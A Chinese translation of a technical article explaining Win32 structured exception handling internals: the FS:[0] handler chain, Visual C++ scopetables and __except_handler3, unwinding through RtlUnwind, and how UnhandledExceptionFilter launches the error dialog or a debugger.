可以看到,在 WINNT.H 的 NT_TIB 结构体定义中,这个结构体被称为 _EXCEPTION_REGISTRATION_RECORD。然而 _EXCEPTION_REGISTRATION_RECORD 的定义是没有的,因此我所能用的只能是 EXSUP.INC 中的汇编语言的 struc 定义。对于我前面提到的 SEH 的未公开,这就是一例。

不管怎样,我们回到目前的问题上来。当异常发生时,OS 是如何知道调用位置的呢?EXCEPTION_REGISTRATION结构体有两个域,第一个先不用管。第二个域,handler,为一个指向 _except_ handler 回调函数的指针。有点儿接近答案了,但是还有个问题就是,OS 从哪里能找到这个 EXCEPTION_REGISTRATION 结构体呢?

为了回答这个问题,需要记住结构化异常处理是以线程为基础的。也就是说,每一个线程都有自己的异常处理回调函数。在1996年5月的专栏中,我讲了一个关键的 Win32 数据结构,线程信息块(TEB 或 TIB)。这个结构体中有一个域对于 Windows NT, Windows 95, Win32s 和 OS/2 都是相同的。TIB 中的第一个 DWORD 是一个指向线程的 EXCEPTION_REGISTRATION 结构体的指针。在 Intel 的 Win32 平台上,FS 寄存器永远指向当前的 TIB,因此,在 FS:[0] 就可以找到指向 EXCEPTION_REGISTRATION 结构体的指针。答案出来了!当异常发生时,系统察看出错线程的 TIB 并取回一个指向 EXCEPTION_REGISTRATION 结构体的指针,从而得到一个指向 _except_handler 回调函数的指针。现在操作系统已经有足够的信息来调用 _except_handler 函数了,见 Figure 2。

把目前这一小点儿东西凑到一起,我写了一个小程序来演示所讲到的这个非常简单的 OS 级的结构化异常处理。Figure 3 所示的就是 MYSEH.CPP,它只有两个函数。main 函数使用了三个内嵌的 ASM 块。第一个块使用两条 PUSH 指令(“PUSH handler”和“PUSH FS:[0]”)在堆栈上构建了一个 EXCEPTION_REGISTRATION 结构体。PUSH FS:[0] 将 FS:[0] 的上一个值保存为结构体的一部分,但是目前并不重要。重要的是堆栈上有一个8字节的 EXCEPTION_REGISTRATION 结构体。下一条指令(MOV FS:[0],ESP)将线程信息块的第一个 DWORD 指向新的 EXCEPTION_REGISTRATION 结构体。

在堆栈上构建 EXCEPTION_REGISTRATION 结构体而不是使用全局变量是由原因的。当使用编译器的 _try/_except 语义时,编译器也会在堆栈上构建 EXCEPTION_REGISTRATION 结构体。我只是要说明使用 _try/_except 后编译器所做的最起码的工作。回到 main 函数,下一个 __asm 块清零了 EAX 寄存器(MOV EAX,0)然后将寄存器的值作为内存地址,而下一条指令就向这个地址进行写入(MOV [EAX],1),这就引发了异常。最后的 __asm 块移除这个简单的异常处理:首先恢复以前的 FS:[0] 的内容,然后从堆栈中弹出 EXCEPTION_REGISTRATION 记录(ADD ESP,8)。

现在假设正在运行 MYSEH.EXE,看一下程序的执行情况。MOV [EAX],1 指令的执行引发了一个 access violation。系统察看 TIB 的 FS:[0] 并找到指向 EXCEPTION_REGISTRATION 结构体的指针。结构体中有一个指向 MYSEH.CPP 文件中的 _except_handler 函数的指针。系统将所需的四个参数入栈并调用 _except_handler 函数。一进入 _except_handler,代码首先用一条 printf 语句打印“Yo! I made it here!”。然后,_except_handler 修复引起异常的问题。问题在于 EAX 指向了不可写内存的地址(地址 0)。所做的修复就是修改 CONTEXT 中 EAX 的值,使其指向一个可写的内存单元。在这个简单的程序里,一个 DWORD 类型变量(scratch)就是用于此目的的。_except_handler 函数的最后的动作就是返回 ExceptionContinueExecution 类型的值,这个结构体定义在标准的 EXCPT.H 文件中。

当操作系统看到所返回的 ExceptionContinueExecution 时,就认为问题已被解决并重新执行引起异常的指令。因为我的 _except_handler 函数修改了 EAX 寄存器使其指向了有效的内存,MOV EAX,1 就再一次执行,main 函数正常继续。并不很复杂,不是吗?


Moving In a Little Deeper

有了这个最简单的情形,我们再回来填补几个空白。尽管异常回调如此伟大,但并不完美。对于任意大小的程序,编写一个函数来处理程序中可能发生的所有异常,那这个函数恐怕会是一团糟。更为可行的情形是能有多个异常处理函数,每一个函数都用于程序的某一特定的部分。操作系统提供了这个功能。

还记得系统查找异常处理回调函数所用的 EXCEPTION_REGISTRATION 结构体吧?此结构体的第一个参数,就是我前面忽略的那个,它叫做 prev。它确实是指向另一个 EXCEPTION_REGISTRATION 结构体的指针。这个第二个 EXCEPTION_REGISTRATION 结构体可以有一个完全不同的处理函数。而且它的 prev 域还可以指向第三个 EXCEPTION_REGISTRATION 结构体,依次类推。简单讲,就是一个 EXCEPTION_REGISTRATION 结构体数组的链表。此链表的表头总是由线程信息块的第一个 DWORD (Intel 机器上的 FS:[0] )所指向。

操作系统用这个 EXCEPTION_REGISTRATION 结构体链表做什么?当异常发生时,系统遍历此链表并查找回调函数与异常相符的 EXCEPTION_REGISTRATION。对于 MYSEH.CPP 来说,回调函数返回 ExceptionContinueExecution 型的值,与异常相符合。回调函数也可能不适合所发生的异常,这时系统就移向链表中下一个 EXCEPTION_REGISTRATION 结构体并询问异常回调是否要处理此异常。Figure 4 所示即为此过程。一旦系统找到了处理此异常的回调函数就停止对 EXCEPTION_REGISTRATION 链表的遍历。
我给出了一个异常回调不能处理异常的例子,见 Figure 5 的 MYSEH2.CPP。为简单起见,我用了一点编译器级的异常处理。main 函数只是建立一个 _try/_except 块。_try 块中的是一个对 HomeGrownFrame 函数的调用。函数与前面的 MYSEH 程序中的代码很类似。它在堆栈上创建了一个 EXCEPTION_REGISTRATION 记录并使 FS:[0] 指向此纪录。在建立了新的处理程序后,函数主动引起异常,向 NULL 指针处进行写入:

*(PDWORD)0 = 0;

这里的异常回调函数,也就是 _except_ handler,与前面的那个很不一样。代码先打印出函数的 ExceptionRecord 参数的异常代号和标志。后面会说明打印此异常标志的原因。因为这个 _except_handler 函数并不能修复引起异常的代码,它就返回 ExceptionContinueSearch。这就使得操作系统继续查找链表中的下一个 EXCEPTION_REGISTRATION 记录。下一个异常回调是用于 main 函数中的 _try/_except 代码的。_except 块只是打印“Caught the exception in main()”。此处的异常处理就是简单地将其忽略。此处的一个关键的问题就是执行控制流。当处理程序不能处理异常时,就是在拒绝使控制流在此处继续。接受异常的处理程序则在所有异常处理代码完成之后决定控制流在哪里继续。这一点并不那么显而易见。

当使用结构化异常处理时,如果一场处理程序没能处理异常,则函数可以用一种非正常的方式退出。例如,MYSEH2 的 HomeGrownFrame 函数中的处理程序并没有处理异常。因为异常处理链中后面的某个处理程序(main 函数)处理了此异常,所以引起异常的指令之后的 printf 从未获得执行。从某种意义上说,使用结构化异常处理和使用运行时库函数 setjmp 和 longjmp 差不多。

若是运行 MYSEH2,其输出可能会令人惊讶。看上去似乎调用了两次 _except_handler 函数。第一次是可以理解的,那第二次又是怎么回事呢?

Home Grown handler: Exception Code: C0000005 Exception Flags 0
Home Grown handler: Exception Code: C0000027 Exception Flags 2
EH_UNWINDING
Caught the Exception in main()

比较由“Home Grown Handler”开始的两行,其区别是显然的,即第一次的异常标志为0,而第二次则为2。这里就需要提到 unwinding 的概念。进一步讲,当异常回调拒绝处理异常时,就又被调用了一次。这次回调并没有立即发生,二是更为复杂。我还需要再进一步明确异常发生时的情景。

当异常发生时,系统遍历 EXCEPTION_REGISTRATION 结构体链表直至找到处理此异常的处理程序。一旦找到了处理程序,系统再一次遍历此链表,直到处理异常的节点。在第二次遍历中,系统对所有的异常处理函数进行第二次调用。关键的区别就是在第二次调用中,异常标志被设为值2。这个值对应着 EH_UNWINDING( EH_UNWINDING 的定义在 Visual C++ 运行时库源代码的 EXCEPT.INC 里,但 Win32 SDK 里并没有等价的定义)。

EH_UNWINDING 是什么意思呢?当异常回调被第二次调用时(带有 EH_UNWINDING 标志),操作系统就给处理函数一次做所需清理的机会。什么样的清理呢?一个很好的例子就是 C++ 类的析构函数。当函数的异常处理函数拒绝处理异常时,控制流一般并不会以正常的方式从函数中退出。现在考虑一个函数,此函数声明了一个局部的 C++ 类。C++ 规范指出析构函数是必须被调用的。第二次标志为 EH_UNWINDING 的异常处理回调就是为做调用析构函数和 _finally 块此类的清理工作提供机会。在异常被处理并且所有之前的 exception frames 都被调用以进行 unwind 之后,程序从回调函数选择的地方继续。但是记住,这并不等于将指令指针设为所要的代码地址并继续执行。继续执行出的代码要求堆栈和帧指针(Intel CPU 的 ESP 和 EBP 寄存器)都设为在处理异常的堆栈帧中相应的值。因此,接受某一异常的处理程序负责将堆栈指针和堆栈帧指针设为包含处理异常的 SEH 代码的堆栈帧中的值。


Figure 6 Unwinding from an Exception

更一般地说,从异常中的 unwinding 使得位于处理帧的堆栈区域之下的所有的东西都被移除,几乎相当于从未调用过那些函数。unwinding 的另一个效果就是链表中位于处理异常的 EXCEPTION_REGISTRATION 之前的所有 EXCEPTION_REGISTRATIONs 都被从链表中移除。这是有意义的,因为这些 EXCEPTION_REGISTRATION 一般都是在堆栈上构建的。在异常被处理后,堆栈指针和堆栈帧指针在内存中的地址要比从链表中移除的那些 EXCEPTION_REGISTRATIONs 高。Figure 6 所示即为所述。


Help! Nobody Handled It!

到目前为止我都是假设操作系统总能在 EXCEPTION_REGISTRATION 链表中找到处理程序。要是没有相应的处理程序怎么办?这种情况几乎不会发生。原因是操作系统私地下为每个线程都准备了一个默认的异常处理程序。这个默认的异常处理程序总是链表的最后一个节点并总被选来处理异常。它的行为与一般的异常回调函数有些不同,我之后会说明。

我们来看一下系统在那里安插这个默认的、最终的异常处理程序。这显然要在线程执行的前期进行,要在任何用户代码执行之前。Figure 7 为我为 BaseProcessStart 写的伪码,BaseProcessStart 是 Windows NT 的 KERNEL32.DLL 的一个内部函数。BaseProcessStart 需要一个参数,即线程入口的地址。BaseProcessStart 运行在新进程的上下文中并调用入口点来启动进程第一个线程。

注意在伪码中,对 lpfnEntryPoint 的调用被封装在了一对 _try 和 _except 中。这个 _try 块就是用来在异常处理链表中安装那个默认的最终异常处理程序的。所有之后注册的异常处理程序都会插在链表中这个处理程序的前面。若 lpfnEntryPoint 函数返回,线程就运行至完成而不引起异常。若是这样,BaseProcessStart 调用 ExitThread 来结束线程。

要是另一种情况,即线程发生了异常却再也没有异常处理程序了怎么办?在这种情况下,控制流流进 _except 关键字后的大括号里。在 BaseProcessStart 里,这段代码叫 UnhandledExceptionFilter API,我在后面还会回来介绍它。现在的关键是 UnhandledExceptionFilter API 包含着默认的异常处理函数。

若 UnhandledExceptionFilter 返回的是 EXCEPTION_EXECUTE_HANDLER,BaseProcessStart 的 _except 块就执行。_except 块代码所作的就是调用 ExitProcess 来结束当前进程。仔细考虑一下,这样做还是有意义的;一个常识就是,如果程序引起了异常又没有处理程序能处理此异常,系统就结束该进程。伪码中所展示的正是这种情况。

还要最后补充一点。如果引发异常的线程是作为服务运行的且是用于一个基于线程的服务,则 _except 块并不会调用 ExitProcess 而是调用 ExitThread。没有人会因为一个服务出错而结束整个服务进程。

UnhandledExceptionFilter 中的默认异常处理程序又作了些什么呢?当我在讨论班上提出这个问题时,没几个人能猜出未处理的异常发生时操作系统的默认行为。通过对默认处理程序行为的演示,答案一点即明,人们就都明白了。我只是运行了一个主动引起异常的程序,并指出其结果(见 Figure 8)。



Figure 8 Unhandled Exception Dialog

UnhandledExceptionFilter 显示了一个对话框,告诉你发生了一个异常。此时,要么可以结束进程,要么就调试引发异常的进程。在这幕后还有相当多的操作,我在本文结束前再来讲这些东西。正如我所提到的,当异常发生时,用户编写的代码可以得到执行(通常是这样的)。类似地,在 unwind 操作过程中,用户编写的代码也可以得到执行。用户的代码可能仍有问题并引起另一个异常。因此,异常回调函数还可以返回另外两个值:ExceptionNestedException 和 ExceptionCollidedUnwind。显然这些内容就很深了,我并不想在这里介绍。其对于理解基本事实来说太难了。


Compiler-level SEH

尽管我偶尔会使用 _try 和 _except,但目前我所讲到的都是由操作系统实现的。然而,看看我那两个使用纯操作系统 SEH 的程序的变态样子,编译器对此的封装实在是必要的。我们来看一下 Visual C++ 是如何在操作系统级的 SEH 支持之上构建其结构化异常处理的。

在继续进行之前要记住一件重要的事,那就是另一种编译器可能会与纯操作系统级的 SEH 的做法完全不同。没有人说过必须要实现 Win32 SDK 文档所描述的 _try/_except 模型。例如,Visual Basic 5.0 在其运行时代码里使用了结构化异常处理,但其数据结构与算法与我这里所讲的完全不同。若读一下 Win32 SDK 文档关于结构化异常处理的描述,就会找到所谓的“frame-based”的异常处理程序的语义,其形式如下:

try {
// guarded body of code
}
except (filter-expression) {
// exception-handler block
}


简单讲,try 中的所有的代码都被一个构建在函数堆栈帧上的 EXCEPTION_REGISTRATION 保护起来。在函数的入口,新的 EXCEPTION_REGISTRATION 被放入异常处理链表的表头。在 _try 块的结尾处,其 EXCEPTION_REGISTRATION 被从链表头移除。如前所述,异常处理链的表头保存在 FS:[0]。因此,若在调试器中的汇编代码中单步执行,就会看到以下的指令:

MOV DWORD PTR FS:[00000000],ESP

或是

MOV DWORD PTR FS:[00000000],ECX

可以十分确信代码正在建立或撤除一个 _try/_except 块。现在知道了一个 _try 块对应着堆栈上的一个 EXCEPTION_REGISTRATION 结构体,那 EXCEPTION_ REGISTRATION 里的回调函数呢?使用 Win32 的术语,异常回调函数对应着 filter-expression 代号。filter-expression 就是关键字 _except 后括号中的代码。正是这个 filter-expression 代号决定了是否执行后面 {} 块中的代码。

因为 filter-expression 是程序员写的,程序员可以决定代码中某处发生的异常是否在该处处理。filter-expression 代码可以简单到只有一个“EXCEPTION_EXECUTE_HANDLER”,也可以调用一个函数把 p 算到两千万再返回一个代号告诉系统下一步做什么,这是程序员的选择。关键一点是:filter-expression 的代号正对应我前面提到的异常回调函数。

我刚才所讲的都十分简单,但是只是理想中的美好的情形。残酷的现实是事情要复杂的多。对于初学者,filter-expression 并不是由操作系统直接调用的。实际的情形是每个 EXCEPTION_REGISTRATION 的异常处理程序域都指向同一个函数。这个函数在 Visual C++ 的运行时库中,叫做 __except_handler3。是

另外一点就是并不是每次进入或退出 _try 块都要建立或撤除 EXCEPTION_REGISTRATION。对于使用 SEH 的每个函数,只创建一个 EXCEPTION_REGISTRATION。换句话说,在一个函数里可以使用多个 _try/_except 组合,但只在堆栈上建立一个 EXCEPTION_REGISTRATION。类似地,可以在一个函数的 _try 块中嵌套另一个 _try 块,Visual C++ 仍然只创建一个 EXCEPTION_REGISTRATION。如果对于整个 EXE 或 DLL 来说一个异常处理程序就足够了以及如果用一个 EXCEPTION_REGISTRATION 就可以处理多个 _try 块,那显然还要有比所见到的更多的机制。这是通过一个一般情况下看不到的表中的数据来完成的。然而,既然本文的目的就是要解剖结构化异常处理,我们就来看一下这些数据结构。


The Extended Exception Handling Frame

Visual C++ 的 SEH 实现并没有使用纯粹的 EXCEPTION_REGISTRATION 结构,而是在结构体的末尾加入了额外的数据域。这个额外的数据的关键之处在于它允许一个函数(__except_handler3)来处理所有的异常并将控制流转向相应的 filter-expressions 和代码中的 _except 块。关于这个 Visual C++ 扩展的 EXCEPTION_REGISTRATION 的一点信息可以从 Visual C++ 的运行时库源代码中的 EXSUP.INC 文件里找到。在这个文件里,可以找到一下定义:

;struct _EXCEPTION_REGISTRATION{
; struct _EXCEPTION_REGISTRATION *prev;
; void (*handler)(PEXCEPTION_RECORD,
; PEXCEPTION_REGISTRATION,
; PCONTEXT,
; PEXCEPTION_RECORD);
; struct scopetable_entry *scopetable;
; int trylevel;
; int _ebp;
; PEXCEPTION_POINTERS xpointers;
;};

前两个域前面已经见过了,prev 和 handler。他们组成了最基本的 EXCEPTION_REGISTRATION 结构体。新加的是最后的三个域:scopetable、trylevel 和 _ebp。scopetable 域指向一个 scopetable_entries 类型结构体数组,而 trylevel 是这个数组的索引。最后一个域,_ebp,是创建 EXCEPTION_REGISTRATION 之前的堆栈帧指针(EBP)的值。

_ebp 域成为扩展的 EXCEPTION_REGISTRATION 结构体的一部分不是偶然的。结构体包含它是因为大多数函数都以一个 PUSH EBP 开始。这就使得所有其它的 EXCEPTION_REGISTRATION 域可以通过帧指针的负偏移来访问。例如,trylevel 在 [EBP-04],scopetable 指针在 [EBP-08] 等等。

在扩展的 EXCEPTION_REGISTRATION 结构体后面,Visual C++ 压入了两个额外的值。第一个 DWORD 为一个指向 EXCEPTION_POINTERS 结构体(一个标准的 Win32 结构体)的指针保留空间。这个指针就是调用 GetExceptionInformation API 返回的指针。尽管 SDK 文档隐含提到 GetExceptionInformation 是一个标准的 Win32 API,但事实上 GetExceptionInformation 是一个编译器相关的函数。当调用此函数时,Visual C++ 生成下面的代码:

MOV EAX,DWORD PTR [EBP-14]

与 GetExceptionInformation 相同,GetExceptionCode 也依赖于编译器。GetExceptionCode 返回的值是 GetExceptionInformation 返回的数据结构中一个域的值。Visual C++ 会生成以下的代码,这些代码的作用留给读者作为练习。

MOV EAX,DWORD PTR [EBP-14]
MOV EAX,DWORD PTR [EAX]
MOV EAX,DWORD PTR [EAX]

回到扩展的 EXCEPTION_REGISTRATION 结构体,在结构体起始处之前的8个字节处,Visual C++ 保留了一个 DWORD 来保存所有 prologue 代码执行后最终的堆栈指针(ESP)。这个 DWORD 就是函数执行时一个普通的 ESP 寄存器的值(当然参数压栈是为了准备调用另外函数的情况除外)。

看起来我好像一股脑儿倒出了一大堆东西,确实是。在向下继续之前,我们先暂停一会儿,复习一下 Visual C++ 为用到结构化异常处理的函数生成的标准异常帧:

EBP-00 _ebp
EBP-04 trylevel
EBP-08 scopetable pointer
EBP-0C handler function address
EBP-10 previous EXCEPTION_REGISTRATION
EBP-14 GetExceptionPointers
EBP-18 Standard ESP in frame

从操作系统的观点来看,构成纯 EXCEPTION_REGISTRATION 的域仅有两个:[EBP-10] 处的 prev 指针和 [EBP-0Ch] 处的处理函数指针。帧中其它的东西都是依赖于 Visual C++ 实现的。记住这些后,我们来看包含着编译器级 SEH 的 Visual C++ 的运行时库函数,__except_handler3。


__except_handler3 and the scopetable

尽管我非常想将 Visual C++ 的运行时库源代码指点出来并让读者自己去研究 __except_handler3 函数,但是我不能,因为此函数的代码并未提供。这里只好用我仓促拼凑出的 __except_handler3 的伪码来应付一下了(见 Figure 9)。

尽管 __except_handler3 看上去是成堆的代码,但要记着它只是一个异常回调函数,就像我在文章开头介绍的那样。和 MYSEH.EXE 和 MYSEH2.EXE 中的 homegrown 异常回调函数一样,此函数也需要四个参数。在最高一级上,__except_handler3 被一个 if 语句分为了两部分。这是因为函数可以被调用两次,一次是正常调用,一次是在 unwind 过程中。大部分的代码都用在了 non-unwinding 的回调中。

这段代码的开头首先在堆栈上创建一个 EXCEPTION_POINTERS 结构体,并用 __except_handler3 的两个参数将其初始化。此结构体的地址,即伪码中的 exceptPtrs,被放在 [EBP-14]。这就初始化了 GetExceptionInformation 和 GetExceptionCode 函数用到的指针。接着,__except_handler3 从 EXCEPTION_REGISTRATION 帧([EBP-04])取得当前的 trylevel。trylevel 变量用作 scopetable 数组的索引,使得一个 EXCEPTION_REGISTRATION 可以用于一个函数中的多个 _try 块和嵌套的 _try 块。每一个 scopetable 的成员定义如下:

typedef struct _SCOPETABLE
{
DWORD previousTryLevel;
DWORD lpfnFilter
DWORD lpfnHandler
} SCOPETABLE, *PSCOPETABLE;

SCOPETABLE 中的第二个和第三个参数都很容易理解。它们是 filter-expression 和相应的 _except 块代码的地址。previousTryLevel 域有点复杂。简言之,它是用于嵌套 try 块的。重要的一点是对函数中每一个 _try 块都有一个 SCOPETABLE 成员。

如前所述,当前的 trylevel 指定了要使用的 scopetable 数组成员,也就指定了 filter-expression 和 _except 块的地址。现在,考虑一种情形,即一个 _try 块嵌套在另一个 _try 里。若内层 _try 块的 filter-expression 并没有处理异常,则外层的 _try 块的 filter-expression 就必须处理。 __except_handler3 如何知道哪一个 SCOPETABLE 成员对应着外层的 _try 呢?它的索引由 SCOPETABLE 成员的 previousTryLevel 域给出。使用这种机制,就可以创建任意嵌套的 _try 块。previousTryLevel 域为函数中可能的异常处理链表的一个节点。链表的结尾由一个 0xFFFFFFFF 的 trylevel 指示。

回到 __except_handler3 的代码,在取得当前 trylevel 之后,代码就指向了相应的 SCOPETABLE 成员并调用了 filter-expression 代码。若 filter-expression 返回 EXCEPTION_CONTINUE_SEARCH,__except_handler3 继续查找下一个 SCOPETABLE 成员,这个成员由 previousTryLevel 域指定。若在遍历过程中没有找到处理程序,__except_handler3 就返回 DISPOSITION_CONTINUE_SEARCH,这就使系统移向下一个 EXCEPTION_REGISTRATION 帧。

若 filter-expression 返回 EXCEPTION_EXECUTE_HANDLER,则意味着异常应该由相应的 _except 块代码来处理。这就意味着所有之前的 EXCEPTION_REGISTRATION 帧都要从链表中移除而且要执行 _except 块。第一个活儿是通过调用 __global_unwind2 来完成的,之后我再介绍。在一些清理代码之后,代码的执行就离开了 __except_handler3 并进入 _except 块。奇怪的是控制流从未从 _except 块返回,尽管 __except_handler3 调用了它。如何设置当前的 trylevel 呢?这是由编译器暗自处理的,编译器以 on-the-fly 的方式完成对扩展的 EXCEPTION_REGISTRATION 结构体中的 trylevel 域的修改。如果察看使用 SEH 的函数的汇编代码就会发现函数代码的不同位置都有修改 [EBP-04] 处的当前 trylevel 的代码。__except_handler3 如何调用的 _except,而控制流又为何从不返回呢?因为一个 CALL 指令将返回地址压入堆栈,可以认为这就打乱了堆栈。如果察看一下为 _except 块生成的代码,就会发现它所作的第一件事就是将 EXCEPTION_REGISTRATION 结构体之后的8字节处的 DWORD 加载到 ESP 寄存器中。作为其 prologue 代码的一部分,函数将 ESP 的值保存起来,这样 _except 之后还可以将其取回。


The ShowSEHFrames Program

此时是不是对 EXCEPTION_REGISTRATIONs、scopetables、trylevels、filter-expressions 和 unwinding 这些东西感到有些招架不住,我当初也是这样的。编译器级的结构化异常处理的主题对更多的学习并没有什么帮助。如果没有总体上的了解的话,其中的很多东西就没有意义。当面对一大堆理论时,我很自然地倾向于写些使用这些理论的代码。如果程序能工作,我就知道我的理解(通常是)是正确的。

Figure 10 是 ShowSEHFrames.EXE 的源代码。它使用 _try/_except 块来建立起由几个 Visual C++ SEH 帧构成的链表。之后,显示每一帧的信息,以及 Visual C++ 为每一帧建立的 scopetables。程序并不生成任何异常。我包含了所有的 _try 块来强制 Visual C++ 生成多个 EXCEPTION_ REGISTRATION 帧,每一帧有多个 scopetable 成员。

ShowSEHFrames 里重要的函数是 WalkSEHFrames 和 ShowSEHFrame。WalkSEHFrames 首先打印出 __except_handler3 的地址,原因一会儿再讲。接着,函数从 FS:[0] 得到一个指向异常链表表头的指针然后遍历链表中的每一个节点。每个节点都是 VC_EXCEPTION_REGISTRATION 类型的,我定义这个结构体是为了描述 Visual C++ 的异常处理帧。对于链表中的每一个节点,WalkSEHFrames 将指向节点的指针传递给 ShowSEHFrame 函数。

ShowSEHFrame 首先打印异常帧的地址、回调函数地址、前一异常帧的地址和一个指向 scopetable 的指针。接着,对于每一个 scopetable 成员,代码打印出 previous trylevel,filter-expression 的地址和 _except 块的地址。我又是怎么知道 scopetable 中到底有多少个成员的呢?其实我并不知道。我假设 VC_EXCEPTION_REGISTRATION 中的当前 trylevel 比 scopetable 的成员总数少一。

Figure 11 所示即为 ShowSEHFrames 的运行结果。首先看以“Frame:”开头的每一行。注意每个后继的实例是如何显示堆栈上高地址的异常帧的。接着,在前三个 Frame: 行里,注意 Handler 的值都是相同的(004012A8)。看看输出的开头就知道这个 004012A8 就是 Visual C++ 运行时库的 __except_handler3 函数的地址。这就证实了我前面所说的一个成员处理多个异常。

也许有人会疑惑,因为 ShowSEHFrames 只有两个使用 SEH 的函数,而却有三个使用 __except_handler3 作为回调函数的异常帧。第三个异常帧来自于 Visual C++ 的运行时库。Visual C++ 的运行时库的 CRT0.C 源代码显示对 main 或 WinMain 的调用被封装在了 _try/_except 块中。这个 _try 块的 filter-expression 代码在 WINXFLTR.C 文件中。

回到 ShowSEHFrames,最后一帧的 Handler:此行包含一个不同的地址,77F3AB6C。经过查找,就会发现这个地址是在 KERNEL32.DLL 里。这个特殊的帧是由 KERNEL32.DLL 的 BaseProcessStart 函数安装的,这个函数我在前面讲到过。


Unwinding

在深挖 unwinding 的实现代码之前,我们先来简要总结一下 unwinding 的含义。前面我曾提到异常处理程序信息是如何保存在链表里的,又是如何由线程信息块的第一个 DWORD (FS:[0])来指向的。因为某一异常的处理程序不一定是链表的头节点,这就需要有一种有序的方法来移除此实际处理程序之前链表中的所有异常处理程序。

正如在 Visual C++ 的 __except_handler3 函数中见到的,unwinding 是由 __global_unwind2 RTL 函数完成的。此函数是对未公开的 RtlUnwind API 的非常简单的封装:

__global_unwind2(void * pRegistFrame)
{
_RtlUnwind( pRegistFrame,
&__ret_label,
0, 0 );
__ret_label:
}

尽管 RtlUnwind 是实现编译器级 SEH 的关键的 API,但却没有公开。它是一个 KERNEL32 函数,Windows NT 将 KERNEL32.DLL 调用 forward 到了 NTDLL.DLL,在 NTDLL.DLL 里的也是一个 RtlUnwind 函数。我拼凑了这个函数的一些伪码,即 Figure 12 所示。

尽管 RtlUnwind 看起来很繁琐,但如果合理地划分一下还是不难理解的。此 API 首先从 FS:[4] 和 FS:[8] 取得线程堆栈的当前栈顶和栈底。这两个值对于后面的健壮性检查是很重要的,这里的健壮性检查就是保证所有被 unwound 的异常帧都落在堆栈的范围内。

接着,RtlUnwind 在堆栈上建立一个 EXCEPTION_RECORD,并将 ExceptionCode 域设为 STATUS_UNWIND。而且 EXCEPTION_RECORD 的 ExceptionFlags 域中的 EXCEPTION_UNWINDING 标志也要置位。指向此 EXCEPTION_RECORD 结构体的指针之后会作为参数传递给每一个异常回调函数。此后,代码调用 _RtlpCaptureContext 函数来创建一个 CONTEXT 结构体,此结构体也会作为异常回调的 unwind 调用的一个参数。RtlUnwind 后面的部分就遍历 EXCEPTION_REGISTRATION 结构体的链表。对于每一帧,代码调用 RtlpExecuteHandlerForUnwind 函数,后面会讲到此函数。正是这个函数用 EXCEPTION_UNWINDING 标志调用了异常回调函数。每次回调之后,相应的异常帧通过调用 RtlpUnlinkHandler 将其移除。当 RtlUnwind 到达第一个参数指定地址的帧时,就停止 unwinding 帧。这些代码中间还有许多用于错误检查的代码,这些代码保证了程序的正常执行。如果出现了问题,RtlUnwind 就会引起异常来告知所遇到的问题,而且此异常的 EXCEPTION_NONCONTINUABLE 标志是置位的。当此标志置位时,是不允许进程继续执行的,因此进程必须结束。


Unhandled Exceptions

本文前面部分我完整描述了 UnhandledExceptionFilter API。一般不用直接调用这个 API(尽管可以)。大多数情况下,它是由 KERNEL32 的默认异常回调的 filter-expression 代码来调用的。前面的 BaseProcessStart 伪码说明了这一点。

Figure 13 是我给出的 UnhandledExceptionFilter 的伪码。这个 API 的开头有些奇怪(至少在我看来是这样的)。若是一个 EXCEPTION_ACCESS_ VIOLATION 异常,代码就调用 _BasepCheckForReadOnlyResource。尽管我没有提供此函数的伪码,但我这里可以大概说一下。如果是因为向 EXE 或 DLL 的 resource section(.rsrc)进行写入而发生异常,_BasepCurrentTopLevelFilter 就修改引起异常的页的属性,从而允许写操作,UnhandledExceptionFilter 返回 EXCEPTION_ CONTINUE_EXECUTION,并重新执行引起异常的指令。

UnhandledExceptionFilter 的下一个任务是决定进程是否要在 Win32 调试器下运行。也就是说,进程是以 DEBUG_PROCESS 或 DEBUG_ONLY_THIS_PROCESS 标志创建的。UnhandledExceptionFilter 使用 NtQueryInformationProcess 函数来判断进程是否正在被调试。如果是,此 API 就返回 EXCEPTION_CONTINUE_SEARCH,说明系统的其它部分会唤醒调试器进程并告知调试器被调试进程引起了异常。如果有 user-installed unhandled exception filter,则调用它。一般都没有 user-installed 的回调,但是可以用 SetUnhandledExceptionFilter API 装一个。我提供了这个 API 的伪码。这个 API 只是用新的用户回调的地址来修改一个全局变量,然后返回旧回调的值。

做好准备工作后,UnhandledExceptionFilter 就可以进行其主要的工作:用那个老面孔的应用程序错误对话框来通知程序的错误。有两种办法可以避免此对话框的出现。第一种就是进程调用了 SetErrorMode 并设置了 SEM_NOGPFAULTERRORBOX 标志。另一种就是将 AeDebug 注册键值下的 Auto 值设为 1。这时,UnhandledExceptionFilter 略过程序错误对话框并自动启动由 AeDebug 键的 Debugger 值所指定的调试器。如果对“just in time debugging”比较熟悉的话,这就是操作系统对其的支持,之后还会讨论。

大多数情况下,这两种逃避此对话框的条件都为假,UnhandledExceptionFilter 就调用 NTDLL.DLL 函数中的 NtRaiseHardError 函数。正是这个函数唤出了程序错误对话框。这个对话框等待用户点击 OK 结束进程或 Cancel 调试进程。

若点击了 OK,UnhandledExceptionFilter 就返回 EXCEPTION_EXECUTE_HANDLER。调用 UnhandledExceptionFilter 的代码通常以结束自己来回应(就像 BaseProcessStart 代码中那样的)。这就带来一个有趣的问题。多数人认为系统没有处理异常而将进程结束。实际上更准确的说法是系统作了一些工作,这样未处理的异常使进程自己将自己结束。

如果点击了程序错误对话框的 Cancel 才执行了 UnhandledExceptionFilter 真正有意思的代码,这时会调试器加载引起异常的进程。在调试器 attach 到出错进程后,代码首先调用 CreateEvent 来创建一个事件以通知调试器。事件句柄和当前进程 ID 都要传递给 sprintf,sprintf 格式化启动调试器的命令行。万事俱备后,UnhandledExceptionFilter 调用 CreateProcess 来启动调试器。若 CreateProcess 成功,代码对前面创建的事件调用 NtWaitForSingleObject。此调用一直阻塞直到调试器进程通知此事件,指示调试器已经成功地 attach 到出错进程上。UnhandledExceptionFilter 还有其它的零星代码,但我这里只捡重要的说了说。


Into the Inferno

到了目前这个地步,如果还保留什么就太不公平了。我已经讲了发生异常时操作系统如何调用用户定义的函数;讲了一般回调的内部运行以及编译器如何使用它们来实现 _try 和 _catch;讲了没人处理异常时的情况以及系统对其的处理。所剩下的只有起初异常回调是从何处开始的。是的,我们来深入系统内幕来看看结构化异常处理的开始阶段。

